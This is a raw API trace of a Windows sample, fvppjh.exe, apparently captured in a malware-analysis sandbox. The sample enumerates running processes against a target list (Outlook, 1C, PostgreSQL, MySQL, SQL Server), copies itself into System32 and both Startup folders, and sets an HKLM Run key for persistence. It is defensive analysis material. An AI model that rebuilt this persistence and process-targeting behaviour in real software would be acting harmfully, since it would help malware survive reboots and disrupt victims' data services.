	[0056.397] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0056.398] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0056.398] lstrcmpiW (lpString1="1c8.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="outlook.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="postgres.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="mysqld.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0056.398] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0056.399] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0056.399] lstrcmpiW (lpString1="1c8.exe", lpString2="DeviceCensus.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="DeviceCensus.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="outlook.exe", lpString2="DeviceCensus.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="postgres.exe", lpString2="DeviceCensus.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="DeviceCensus.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="DeviceCensus.exe") returned 1
	[0056.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="DeviceCensus.exe") returned 1
	[0056.399] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0056.399] lstrlenW (lpString="conhost.exe") returned 11
	[0056.399] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0056.399] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1
	[0056.400] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0056.400] lstrlenW (lpString="conhost.exe") returned 11
	[0056.400] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0056.400] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0056.400] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1
	[0056.400] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1
	[0056.400] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.401] lstrlenW (lpString="svchost.exe") returned 11
	[0056.401] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0056.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0056.401] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0056.401] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0056.402] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0056.402] lstrlenW (lpString="fvppjh.exe") returned 10
	[0056.402] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.403] lstrlenW (lpString="svchost.exe") returned 11
	[0056.403] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0056.403] CloseHandle (hObject=0x240) returned 1
	[0056.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a4f8 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a390 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x735290 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x735330 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736198 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765378 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x735130 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7352f0 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ef20 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75edb8 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x735170 | out: hHeap=0x720000) returned 1
	[0056.404] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ecf0 | out: hHeap=0x720000) returned 1
	[0056.404] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x767700
	[0056.404] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x777708
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7652b8
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7652b8, Size=0x20) returned 0x75ecc8
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ecc8, Size=0x40) returned 0x73a540
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7653d8
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7653d8, Size=0x20) returned 0x75ee30
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765348
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765348, Size=0x20) returned 0x75ecc8
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765198
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765198, Size=0x20) returned 0x75ee58
	[0056.405] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee58, Size=0x40) returned 0x739fa0
	[0056.405] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x777708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe")) returned 0x22
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x787710
	[0056.405] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x797718
	[0056.406] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765438
	[0056.406] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765438, Size=0x20) returned 0x75ed40
	[0056.406] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ed40, Size=0x40) returned 0x73a468
	[0056.406] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a468, Size=0x80) returned 0x764af0
	[0056.406] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764af0, Size=0x100) returned 0x765f40
	[0056.406] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765f40 | out: hHeap=0x720000) returned 1
	[0056.406] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\fvppjh.exe", lpDst=0x787710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\fvppjh.exe") returned 0x1f
	[0056.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x797718 | out: hHeap=0x720000) returned 1
	[0056.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x787710 | out: hHeap=0x720000) returned 1
	[0056.407] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x2468020
	[0056.410] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765408
	[0056.410] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765408, Size=0x20) returned 0x75eea8
	[0056.410] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765198
	[0056.410] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765198, Size=0x20) returned 0x75ecf0
	[0056.410] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.410] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.410] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0056.410] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eea8 | out: hHeap=0x720000) returned 1
	[0056.410] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ecf0 | out: hHeap=0x720000) returned 1
	[0056.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0056.410] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\fvppjh.exe" (normalized: "c:\\windows\\system32\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0056.412] ReadFile (in: hFile=0x240, lpBuffer=0x2468020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.425] WriteFile (in: hFile=0x244, lpBuffer=0x2468020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.431] ReadFile (in: hFile=0x240, lpBuffer=0x2468020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0056.431] CloseHandle (hObject=0x244) returned 1
	[0056.478] CloseHandle (hObject=0x240) returned 1
	[0056.478] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7652d0
	[0056.478] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7652d0, Size=0x20) returned 0x75ef20
	[0056.478] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7651f8
	[0056.478] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7651f8, Size=0x20) returned 0x75edb8
	[0056.478] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.478] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.478] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0056.478] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.478] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75edb8 | out: hHeap=0x720000) returned 1
	[0056.478] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.478] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ef20 | out: hHeap=0x720000) returned 1
	[0056.478] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x2468020 | out: hHeap=0x720000) returned 1
	[0056.483] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7652b8
	[0056.483] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7652b8, Size=0x20) returned 0x75ef20
	[0056.483] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ef20, Size=0x40) returned 0x73a618
	[0056.483] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a618, Size=0x80) returned 0x7647c0
	[0056.483] lstrlenW (lpString="C:\\WINDOWS\\System32\\fvppjh.exe") returned 30
	[0056.483] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0056.483] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x5c) returned 0x737cb0
	[0056.483] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0056.483] RegSetValueExW (in: hKey=0x240, lpValueName="fvppjh.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\fvppjh.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\fvppjh.exe") returned 0x0
	[0056.484] RegCloseKey (hKey=0x240) returned 0x0
	[0056.484] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x737cb0 | out: hHeap=0x720000) returned 1
	[0056.484] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0056.484] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7647c0 | out: hHeap=0x720000) returned 1
	[0056.484] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x787710
	[0056.484] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x797718
	[0056.485] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765228
	[0056.485] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765228, Size=0x20) returned 0x75ecf0
	[0056.485] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ecf0, Size=0x40) returned 0x73a3d8
	[0056.485] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a3d8, Size=0x80) returned 0x7645a0
	[0056.485] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7645a0, Size=0x100) returned 0x765f40
	[0056.485] lstrlenW (lpString="") returned 0
	[0056.485] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.485] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8c) returned 0x766048
	[0056.485] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0056.485] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x797718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x797718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0056.485] RegCloseKey (hKey=0x240) returned 0x0
	[0056.485] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766048 | out: hHeap=0x720000) returned 1
	[0056.485] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.485] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8c) returned 0x766048
	[0056.485] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0056.485] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x797718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0056.485] RegCloseKey (hKey=0x244) returned 0x0
	[0056.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766048 | out: hHeap=0x720000) returned 1
	[0056.486] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0056.486] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765f40 | out: hHeap=0x720000) returned 1
	[0056.486] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x787710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x59
	[0056.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x797718 | out: hHeap=0x720000) returned 1
	[0056.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x787710 | out: hHeap=0x720000) returned 1
	[0056.487] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x246a020
	[0056.489] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765348
	[0056.489] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765348, Size=0x20) returned 0x75ed18
	[0056.489] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765378
	[0056.489] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765378, Size=0x20) returned 0x75eea8
	[0056.489] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.489] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.489] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0056.489] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.489] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ed18 | out: hHeap=0x720000) returned 1
	[0056.490] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.490] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eea8 | out: hHeap=0x720000) returned 1
	[0056.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0056.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0056.491] ReadFile (in: hFile=0x244, lpBuffer=0x246a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x246a020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.502] WriteFile (in: hFile=0x248, lpBuffer=0x246a020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x246a020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.565] ReadFile (in: hFile=0x244, lpBuffer=0x246a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x246a020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0056.567] CloseHandle (hObject=0x248) returned 1
	[0056.634] CloseHandle (hObject=0x244) returned 1
	[0056.634] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765240
	[0056.635] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765240, Size=0x20) returned 0x75ecf0
	[0056.635] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765348
	[0056.635] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765348, Size=0x20) returned 0x75ef20
	[0056.635] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.635] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.635] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0056.635] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ef20 | out: hHeap=0x720000) returned 1
	[0056.635] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ecf0 | out: hHeap=0x720000) returned 1
	[0056.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x246a020 | out: hHeap=0x720000) returned 1
	[0056.640] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x787710
	[0056.640] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x797718
	[0056.640] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765240
	[0056.641] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765240, Size=0x20) returned 0x75ecf0
	[0056.641] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ecf0, Size=0x40) returned 0x73a618
	[0056.641] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a618, Size=0x80) returned 0x7649e0
	[0056.641] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7649e0, Size=0x100) returned 0x765f40
	[0056.641] lstrlenW (lpString="") returned 0
	[0056.641] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.641] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8c) returned 0x766048
	[0056.641] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0056.641] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x797718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0056.641] RegCloseKey (hKey=0x244) returned 0x0
	[0056.641] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766048 | out: hHeap=0x720000) returned 1
	[0056.641] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0056.641] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.641] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765f40 | out: hHeap=0x720000) returned 1
	[0056.641] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x787710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x48
	[0056.641] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x797718 | out: hHeap=0x720000) returned 1
	[0056.641] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x787710 | out: hHeap=0x720000) returned 1
	[0056.642] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x2468020
	[0056.645] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765438
	[0056.645] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765438, Size=0x20) returned 0x75ee80
	[0056.645] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765348
	[0056.645] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765348, Size=0x20) returned 0x75ee58
	[0056.645] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.645] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.645] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0056.645] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ee80 | out: hHeap=0x720000) returned 1
	[0056.645] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ee58 | out: hHeap=0x720000) returned 1
